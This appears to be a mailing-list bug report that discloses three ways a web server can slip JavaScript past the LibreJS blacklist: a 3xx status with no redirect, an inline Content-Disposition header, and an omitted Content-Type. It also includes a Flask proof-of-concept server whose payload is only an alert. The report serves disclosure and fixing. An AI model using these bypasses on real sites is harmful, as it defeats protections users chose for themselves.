`ResponseTextFilter.canProcess` is determined in an insecure way and can be
influenced in at least three different ways.
Because the value of `ResponseTextFilter.canProcess` can result in
returning `ResponseProcessor.ACCEPT`, this can result in a blacklist bypass.

LibreJS is not security focused and is only a small Firefox extension, so
addressing these corner cases is probably not that important, but I still
want to share my observations.

----

# Bypass 1 - 3xx response without redirect
## Affected code
ResponseProcessor.js - Line 68
https://github.com/librejs/librejs/blob/525e3a562348813ca11a135cbc640825579af709/bg/ResponseProcessor.js#L68

## Bypass Description
A web server can serve an http response with a forged HTTP status code >=
300 and < 400, which results in a bypass.
If Firefox encounters an http response with status code 3xx and without
`Location` header, Firefox will just load the responses html code.

----

# Bypass 2 - `Content-Disposition: inline` header
## Affected code
ResponseProcessor.js - Line 69
https://github.com/librejs/librejs/blob/525e3a562348813ca11a135cbc640825579af709/bg/ResponseProcessor.js#L69

## Bug
First of all, this line contains a bug that prevents the check from ever
functioning correctly:
- `!md.disposition` should be `!md.contentDisposition`, because
`ResponseMetaData.constructor()` can only set the values
`ResponseMetaData.contentDisposition` and `ResponseMetaData.contentType`.

## Bypass Description
A web server can serve a response with a `Content-Disposition: inline`
header and html code as body, which results in a bypass.

----

# Bypass 3 - Lack of (or altered) `Content-Type` header
## Affected code
ResponseProcessor.js - Line 70
https://github.com/librejs/librejs/blob/525e3a562348813ca11a135cbc640825579af709/bg/ResponseProcessor.js#L70

## Bypass Description
Firefox can load html code without a `Content-Type: text/html` header. A
web server can serve a response without `Content-Type` header, which
results in a bypass.
Using a `Content-Type` header with empty value also works. (Other variants
may exist.)

----

# POC
The three blacklist bypasses are implemented as a Flask web server in the
attached `server.py` file.
NOTE 1: Before testing the corner cases, the site `http://localhost:8080/`
has to be blacklisted.
NOTE 2: For bypass 2, it is required to use a version of LibreJS in which
the `!md.disposition` bug is fixed.
from flask import Flask, Response

app = Flask(__name__)

HTML_DATA = '<script>alert("Javascript executed");</script>'


# Default test case
@app.route('/test')
def test():
        return Response(HTML_DATA)


# Bypass 1 - HTTP Status Code 3xx
@app.route('/bypass-1')
def bypass_status_code():
        resp = Response(HTML_DATA)
        resp.status_code = 399  
        
        return resp


# Bypass 2 - `Content-Disposition: inline` Header
@app.route('/bypass-2')
def bypass_content_disposition():
        resp = Response(HTML_DATA)
        resp.headers['Content-Disposition'] = 'inline'
        
        return resp


# Bypass 3 - Omitted / Altered `Content-Type` Header
@app.route('/bypass-3')
def bypass_content_type():
        resp = Response(HTML_DATA)
        del resp.headers['Content-Type']
        
        return resp


if __name__ == '__main__':
        app.run(port=8080, host='localhost')

Reply via email to